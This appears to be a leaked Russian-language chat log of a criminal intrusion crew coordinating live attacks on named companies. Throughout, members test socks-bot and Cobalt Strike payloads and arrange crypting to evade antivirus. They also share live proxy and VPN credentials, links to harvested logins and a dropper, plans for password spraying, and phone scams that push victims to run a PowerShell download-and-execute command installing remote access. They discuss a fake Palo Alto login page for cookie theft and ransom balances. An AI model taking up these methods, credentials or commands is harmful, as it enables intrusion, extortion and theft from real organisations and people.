X 2024-06-05 в 12.40.56.jpg

++

dll от сокс бота не работает ?

ща проверим

1.7z

rundll32 file.dll, get_error_message_s

проверить надо работает ли

443payload.zip

rundll32.exe dll.dll,DllRegisterServer

80payload.zip

rundll32.exe dll.dll,DllRegisterServer

да

конечно же да

> <@burito:matrix.bestflowers247.online> sent a file.

> <@muaddib6:matrix.org> sent a file.

это сокс бот ребятки

да

конечно

баланс проверь

> <@lapa:matrix.bestflowers247.online> вы реально думаете, что на норм сетках просто так пользователь без рута запустит exe

рабочие

подошли

все ок

innophos.com - отписали уже

добавил

в чат

++

Работаем.

судя по тому что было в нутре сети там столько нету денег

ага

> <@usernamegg:matrix.bestflowers247.online> sent a file.

там мексика восновном у нас была

$1751.56

баланс

> <@lapa:matrix.bestflowers247.online> можно передумать даже качать

> <@nickolas:talks.icu> Интересно как там юристы, думаю будут нудить )

будут

> <@nickolas:talks.icu> Но у них ситуация мягко говоря не очень, придется оплачивать.

image.png

сейчас как выглядит письмо которое шлешь ?

> <@lapa:matrix.bestflowers247.online> sent an image.

красота

на двух не запустился

image.png

image.png

https://prnt.sc/hVOm2dtrv70b

image.png

image.png

давай уж тогда ушатаем его

посмотрим что будет

image.png

> <@usernamegg:matrix.bestflowers247.online> sent an image.

какой поставить ?

я понял да

++

nsocks.net - там галку можно поставить что бы сокс бот покупался каждый день и порт не обновлялся

нормально

все рабоатет

дело в серваке было

порт забролен был

сорян

заебись

давай

они многие просят тимс подключать видео

да блин (

image.png

> <@lapa:matrix.bestflowers247.online> я тут еще и 500 потоков ставил, на 20 соксов, может не выдерживают

++

первое что пришло

image.png

где соксы взять ?

image.png

да

жива

делаю

все норм пока

socks5://0121dfac9908:66614f75b20f@38.180.20.163:57425

такоф ормат подходит ?

* такой формат подходит ?

socks5://0121dfac9908:66614f75b20f@38.180.20.163:57425

посмотри

я купил только что проверить

ага

image.png

да пришла италия

> <@lapa:matrix.bestflowers247.online> он вообще может сделать msix не такого большого размера?

пока ничего

```

почему

нужно криптовать просто лучше

ты есть в группе криптеров ?

скидываешь им исходник

говришь сокс бот надо криптануть

> <@usernameyy:matrix.bestflowers247.online> там слишком много условностей

деф сейчас палит

image.png

Только можно Ико менять и название

сегодня был доступ

соник

надо срочно пробрутить его отдельно

можно ?

сейчас еще уникаольные юзернеймы скину котоыре мы сами за все время насобирали

* Только можно Ико менять и название

https://71.83.57.182:4433 farmun cornwall nordex.local

вот этот досутп

была валидная и снова умерла

давй вообще уосткновим

`http://temp.sh/ETvbp/uniq_usernames.txt`

вот тут уникальные логины пароли которые мы насобирали за все время работы со всех сеток

> <@lapa:matrix.bestflowers247.online> farmun такого логина в этом списке даже нет)

> <@lapa:matrix.bestflowers247.online> в общем, мне лучше сбросить какие-то новые интересные пассы

> <@lapa:matrix.bestflowers247.online> по типу November2023!

может не сокс будем запускать а ехе hvnc >?

он полегче будет

test.exe

вот

а через него мы уже там запустим сокс бот и тд

нужно собрать список из паролей например штук 50-100 такого формата November2023!

с разными года и названиями

месяцами и времнами года

у ого какие есть

напишите список

не,пускай будет

убирать ничего не надо

я думаю что этот внц для отслеживания действий юзера после звонка очень надо

мы видим суета началась у него или нет

на компе

начал он кому то писать звонить и тд

> <@usernamegg:matrix.bestflowers247.online> sent a file.

а соксы убери

image.png

вот бот пришел, смотри какие у него пароли

Spring2023

ну вот что то такое соберем

Spring2023

image.png

ну вот примеры паролей

> <@lapa:matrix.bestflowers247.online> т.е. если логин будет alex, то будут чекаться пассы alex2023, alex!, alex2024

```

есть скрипт

200к зарпалта с пн по пт звонит

бонусы будет получать от нашего успеха

ничего не конкретезируй пока

не понятно

но не обидим уж

не особо она крутится но все же есть кое какие продвижения

там сеть странная

thompsoncoburn.com_private

расшифруешь ?

Снимок экрана 2024-06-05 в 16.18.58.png

две

но не норм

[16:16:53] Drakon_ubuntu - дропперы : > ну твой софт криптовать надо же ?

надо другой дроппер

это не то похоже

я пойду перекушу нормально

а то я только завтракал

> <@lapa:matrix.bestflowers247.online> ну и вы что-то на сетках не запустили

1ехе тестовый у него возьму

но у него его не размножить

все типа проходит у него он

[16:24:53] Drakon_ubuntu - дропперы : к 20-21 вечера будет несколько файлов готовых

http://91.196.70.160:81/

80payload.zip

rundll32.exe dll.dll,DllRegisterServer

збс

прозвонщики пришли

пора звонить

> <@usernameyy:matrix.bestflowers247.online> дай мне архив с этим вирусом как у квака

у меня нет его софта

я не рпосил

не просил*

тебе надо в свой батник засунуть внц который я дал или сокс бота

перезагрузи все

выключи пок реверс шелл тогда

сделай батник с внц

нужен фаил

нужно что батник запускал и брал креды

> <@usernamegg:matrix.bestflowers247.online> sent a file.

что бы у нас был доступ к нему

вот такой

я там сразу все повытаскиваю с компа у него

там все креды

Снимок экрана 2024-06-05 в 15.47.26.png

и через фаил менеджер подлить смогу и запустить

все что надо

понимаешь ?)

фунлкицонал смотри

image.png

вот

шикарный

ооо

подмена

збс

там больше будет доверия

когда она приедет уже ?)

красивая

))))

это мужик

в парике

ебашит

телку красивую рисует

https://www.youtube.com/watch?v=51FDb9nShkA

для тисма будем использовать )

когда звонилка приедет и рядом будет сидеть

image.png

++

ссылка та же

только я изменил софт

это где ?

6ea1026d41cdf12f5724bdbe3cacc7f72295c7d88c11f05376f7adb703b6d676

пополнил 1к

ты мне нужен онлайн каждый день

симку полюбому сделай как будешь на точке

софт на линке

фаил тот же

надо что бы один человек звонил

нет

что бы тот же чел звонил который вчера хапнул опыта

только он что был закреплен

он уже будет на опыте и будет двать 5-10 целей в день

на опыте будет залетать

и все ставить

баланс пополнил

на флуд

https://softoag.com/

проверь

запусти где нибудь

на впске

введи правильные реды

* введи правильные креды

от это впски

я тебе сообщу какие креды

сейчас покажу

креды ввел ?

++

image.png

батник запускай

запросил креды

что

image.png

орет деф походу на батник

палит

ip какой ?

> <@usernameugway:matrix.bestflowers247.online> виндовус дефендер

mc.exe

hvnc нужно криптануть

подключатся перестал впн

посмотришь ?

надо сделать что было чисто

так не пойдет

это точка

звонки

инженерия пиздец

пропускай всегда

я пропустил

это не деф

покажи скринами мне сейчас

как запускаешь

и какой алерт

может быть

ждем

как будет снова конект

я вот думаю может там юзер залогинился...

давай

нету уже алерта

запускает еще раз на другой

++

image.png

image.png

> <@usernameugway:matrix.bestflowers247.online> sent an image.

> <@usernameugway:matrix.bestflowers247.online> sent an image.

image.png

сейчас почистим

видимо уже палит фаил

сегодня делали с ним много всего

нет

если у тебя деф орет

ничего не прилетит

не тормози

пускай звонит

rmm пока ставить можно

ты же сделал акк

самое золотое время

тормозить звонил нельзя

выебать надо их сферу теперь

https://www.radiorecord.ru

сколько сейчас человек онлайн ?

кому звонить будете

нет

не нужно

просто + -

когда?

++

The Wonderful Company

вот такую впнку достали )

четкая

контора

я их знаю

нет, я когда жил на той стороне часто использовал эту продукцию

++

нет

хуевые серты у них

30 минут

> <@nickolas:talks.icu> а чего вы с впнки не спрыгнули ?

весь день ушел

> <@nickolas:talks.icu> чет долго как то получилось, и видимо палево какое то прошло, раз наш сервак блокнули

нет

отлетела сессия (

?

1.7z

новый крипт для hvnc

почистил ?

попробуем все вместе ?

не знаю

но я сразу сделал ребилд

как увидел алерты у жефа

дефа

епать )

китайские ?

ну давай попробуем просто с новым ехе

может его палило

а то сегодня утром разгнался нормально

да

Снимок экрана 2024-06-05 в 19.52.50.png

готово

на лин пролей

ага

через пару минут на линке будет фаил

проверь

++

залил

проверь

да

конечно

все чисто

запускай

все чисто

спасибо

да

запускай

это многоразовый

подробней

ща

да

пришло

во сколько ?

и на сколько много ?

на что ?

у тебя там энидеск стоит

хорошо

там надо вам тогда впски взять

и сразу каждый впн на впске запускать

и отдавать уже запущенный впн на впске

только сразу дефендер выпиливай оттуда

да

так нужно делать

да, отлично

там кука ?

ревеню большие ?

да , эту я видел

++

https://sso.paloaltonetworks.com

вот квак этот фейк делает шлет и куку перехватывает

сегодня 5впнок больших скинул

да

запустилось

работает

перехват куки бы еще релизовать конечно

через реверс шелл

но это сложно

ладно я найду кого нибудь

там реально пиздец

ну конечно

а как до этого было ?

ну конечно

только зеленым и красным звоните и желтым

++

кобальт надо криптануть

сейчас билды скину

угу

возьми впски под каждую и с них делай конект

ok

43smb_payload_x64.bin

43_payload_x64.bin

29dns_payload_x86.txt

3 билда сделать из каждого dll и exe

rundll32.exe dll.dll,GetModuleProp

для dll

удалил

29dns_payload_x64.bin

вот 3й

1.7z

сейчас выдаст дроппер ехе челик

я тут

где запустили

на тачке ?

появилось конечно

софос

image.png

да

все софос похоже скушал

да там тачка прилетела

энтерпрайс

снова вернулся

странно

у нее 7ка винда ?

что там за таргет ?

как звали его ?

rmm поставил ему ?

jones?

image.png

что начало приходить

там юсу слали ?

что там просто шелл код через повершелл

и все

там код есть

вставляй

и он установиться

`$env:LEVEL_API_KEY = "v2PKF6ZPFhcMuCTbk7iTBh7R"; Set-ExecutionPolicy RemoteSigned -Scope Process -Force; [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; $tempFile = Join-Path ([System.IO.Path]::GetTempPath()) "install_windows.exe"; Invoke-WebRequest -Uri "https://downloads.level.io/install_windows.exe" -OutFile $tempFile; & $tempFile;`

через cmd или pw запусти эту комнаду и все

попробуй на своей

увидишь все

тоже самое делай у них на тачке

блин бот откис

софос спалил его

((

это капец

понял ?

фот это догону ему ставь

я увижу сразу тачку у себя

image.png

там лоеры были

мелкие похоже

ну очень круто что получилось позвать

ты сам делал ?

или кто ?

ок

нет

они уже отвалились

надо софт еще лучше сделать софос среагировал

мне не понравилось

софт для такой аттаки должен быть идеальный

лучшая просто

вещи говоришь

отлично

да лучше от админа конечно

что бы было больше прав

> <@usernameugway:matrix.bestflowers247.online> sent an image.

> <@usernameugway:matrix.bestflowers247.online> sent an image.

))

батник стартони еще раз

отлично

++

cobs.zip

rundll32.exe dll.dll,GetModuleProp

ого

даже такие дела

++

dtawil@bernlieb.com – дозвонилась, установили анидеск, сообщили номер рабочего места, получили достут, затык со стороны программиста, что-то не работает

это как ?

реверс шелл я убрал сегодня

сломалось что то

чиним

по этому нету окна для ввода кред

++

до 00 звоним без проблем

image.png

я никуда не обираюсь уходить

у меня работа )

image.png

chrome_FB.gif.26d5a40f9a82d3e10083b548abd8c760.gif

wf.gif.1c5ad12abed499261b9b30e7907e289e.gif

chrome_FB.gif.26d5a40f9a82d3e10083b548abd8c760.gif

https://sso.paloaltonetworks.com

вот такое можно заказать сделать для палоальто

http://temp.sh/hrJZC/batchurl_two.zip - это новый дроппер

image.png

будет что то от вас ?

или я спать всех отпускаю

хорошо

++

через клиента будет конект пущен ?

++

++

что бы рядом сидела

да

или сидел

и набирали

тогда все будет шик шак шок

договорись

на номер карты сразу закинем 100к

аванс

пуска сидит звонит

потом еще 100к

черех недельки две

нормально можно работу выстроить

главное знания енг

я бы сам звонил этим придуркам да я енг кроме как закать себе пожирать ничего не скажу )

* я бы сам звонил этим придуркам да я енг кроме как заказать себе пожирать ничего не скажу )

хорошо

но я все равно тут

слушай, мы тут застряли малость, еще время надо

все все спать можно

дежурный тоже

```

```

++

я принял

хорошо

maesa.com - нужен tree

innophos.com - нужен трее